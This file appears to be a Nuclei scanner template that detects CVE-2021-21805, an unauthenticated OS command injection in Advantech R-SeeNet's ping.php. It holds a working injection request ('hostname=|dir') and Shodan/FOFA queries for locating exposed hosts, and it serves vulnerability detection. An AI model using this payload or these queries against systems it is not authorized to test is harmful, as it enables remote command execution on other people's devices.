60 lines
2.1 KiB
YAML
60 lines
2.1 KiB
YAML
id: CVE-2021-21805
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info:
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name: Advantech R-SeeNet 2.4.12 - OS Command Injection
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author: arafatansari
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severity: critical
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description: |
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Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
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remediation: |
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Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-21805
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cwe-id: CWE-78
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epss-score: 0.97374
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epss-percentile: 0.99895
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cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: advantech
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product: r-seenet
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shodan-query:
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- http.html:"R-SeeNet"
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- http.html:"r-seenet"
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fofa-query: body="r-seenet"
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tags: cve2021,cve,rce,r-seenet,advantech
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http:
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- method: GET
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path:
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- "{{BaseURL}}/php/ping.php?hostname=|dir"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<title>Ping |dir</title>"
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- "bottom.php"
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f0b6d69003ca5b5505cd8a66ec57f71a8115dcd56caf54bdb39ac3a9cc6cef3f022100b79c69e7a4c280e5bb0820f9872a8a7db6c0b917e7aca6fdf625f52df255648c:922c64590222798bb761d5b6d8e72950 |